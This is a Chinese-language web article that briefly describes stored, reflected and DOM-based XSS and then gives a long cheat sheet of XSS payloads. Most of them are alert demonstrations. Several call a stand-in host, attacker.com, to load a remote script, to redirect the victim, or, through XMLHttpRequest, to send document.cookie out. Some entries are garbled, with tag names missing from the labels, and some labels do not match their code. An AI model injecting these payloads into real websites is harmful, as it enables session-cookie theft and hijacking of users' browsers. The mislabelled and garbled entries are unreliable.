xss跨站脚本攻击姿势大全

XSS(跨站脚本攻击,Cross-Site Scripting)是一种常见的网络安全漏洞,攻击者通过在受信任的网站上注入恶意脚本代码,然后使用户在浏览器中执行这些恶意代码,从而实现攻击目的。XSS 攻击通常发生在使用不安全的输入验证和输出编码的 Web 应用程序上。

XSS 攻击可分为三种主要类型

存储型 XSS(Stored XSS):攻击者将恶意脚本代码存储到目标网站的服务器上,然后当其他用户访问包含恶意代码的页面时,恶意代码会被执行。这种攻击常见于用户留言板、论坛、博客等需要持久存储用户输入的网站。例如,攻击者在一个论坛的评论中插入恶意脚本,当其他用户查看该评论时,恶意脚本会在他们的浏览器中执行。

反射型 XSS(Reflected XSS):攻击者构造包含恶意脚本的链接,并诱使用户点击该链接。当用户点击链接后,恶意脚本会被发送到目标网站的服务器上,并在服务器的响应中返回给用户的浏览器,进而被执行。这种攻击常见于通过 URL 参数传递用户输入的场景。例如,攻击者构造一个恶意链接,其中包含恶意脚本,当用户点击该链接时,恶意脚本会在他们的浏览器中执行。

DOM 型 XSS(DOM-based XSS):这种类型的 XSS 攻击不涉及向服务器发送恶意脚本,而是利用 JavaScript 在客户端修改页面的 DOM 结构,从而执行恶意操作。攻击利用了客户端代码对 URL 参数或其他用户可控数据的直接操作。例如,一个网站使用 JavaScript 获取 URL 参数并直接插入到页面中,如果没有进行适当的过滤和编码,攻击者可以通过构造恶意 URL 参数来执行恶意操作。

下面是各种不同类型的payload
基本的

<script>alert('XSS')</script>

使用 HTML 注释绕过:

<!--><script>alert('XSS')</script>-->

使用 JavaScript 事件处理程序:

<img src="x" onerror="alert('XSS')">

使用 JavaScript URL 伪协议:

<a href="javascript:alert('XSS')">Click Me</a>

使用 javascript: URL 伪协议:

<a href="javascript:alert('XSS')">Click Me</a>

使用内联 JavaScript 代码:

<a href="javascript:void(0)" onclick="alert('XSS')">Click Me</a>

使用 HTML 实体编码:

<script>alert(&#x27;XSS&#x27;)</script>

利用 img 标签的 onerror 事件:

<img src="invalid" onerror="alert('XSS')">

使用 SVG 图像:

<svg/onload=alert('XSS')>

利用 CSS 表达式:

<div style="background-image: expression(alert('XSS'));">

使用特殊字符编码绕过过滤:

<script>alert(String.fromCharCode(88,83,83))</script>

利用 document.write():

<script>document.write('XSS')</script>

使用 eval() 函数执行恶意代码:

<script>eval('alert("XSS")')</script>

利用 URL 编码绕过过滤:

<script>alert(/XSS/)</script>

使用 JavaScript 注释绕过过滤:

<script>//alert('XSS')

利用 iframe 进行攻击:

<iframe src="javascript:alert('XSS')"></iframe>

使用远程脚本文件:

<script src="http://attacker.com/malicious.js"></script>

利用 标签的 onload 事件:

<img src="valid" onload="alert('XSS')">

利用 或 标签:

<audio src="javascript:alert('XSS')"></audio>
<video src="javascript:alert('XSS')"></video>

利用 JSONP:

<script src="http://attacker.com/endpoint?callback=alert"></script>

使用 标签:

<marquee onstart="alert('XSS')">Hover Me</marquee>

使用 标签的 onchange 事件:

<input type="text" onchange="alert('XSS')">

使用 onmouseover 事件:

<div onmouseover="alert('XSS')">Hover Me</div>

利用 window.location 进行重定向:

<script>location.href='http://attacker.com';</script>

利用 document.cookie 获取用户 Cookie 信息:

<script>alert(document.cookie)</script>

使用 localStorage 或 sessionStorage 存储恶意数据:

<script>localStorage.setItem('data', 'malicious')</script>

利用 XMLHttpRequest 发送数据:

<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://attacker.com/?data=' + document.cookie, true);xhr.send();
</script>

利用 onload 事件进行重定向:

<script>
window.onload = function() {window.location.href = 'http://attacker.com';
};
</script>

利用 onsubmit 事件修改表单数据:

<form action="/" onsubmit="document.getElementById('password').value = 'malicious'"><input type="password" id="password"><input type="submit" value="Submit">
</form>

利用 标签的 onkeyup 事件:

<input type="text" onkeyup="alert('XSS')">

利用 标签的 javascript: URL:

<a href="javascript:window.location='http://attacker.com'">Click Me</a>

利用 标签:

<textarea autofocus onfocus="alert('XSS')">Hover Me</textarea>

利用特殊标签属性:

<div id="xss" data-attr="javascript:alert('XSS')"></div>
<script>document.getElementById('xss').dataset.attr</script>

利用 innerHTML 修改页面内容:

<script>document.body.innerHTML = 'XSS'</script>

利用 setTimeout() 函数执行恶意操作:

<script>
setTimeout(function() {alert('XSS');
}, 1000);
</script>

利用 或 标签:

<object data="javascript:alert('XSS')"></object>
<embed src="javascript:alert('XSS')"></embed>

利用 Flash 对象:

<embed src="xss.swf">

使用 HTML5 的 postMessage() 方法:

<script>
window.postMessage('malicious', '*');
</script>

利用 CSS 中的 url() 函数执行恶意操作:

<style>
div {background-image: url(javascript:alert('XSS'));
}
</style>
<div></div>

利用 onhashchange 事件:

<script>
window.onhashchange = function() {alert('XSS');
};
</script>


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部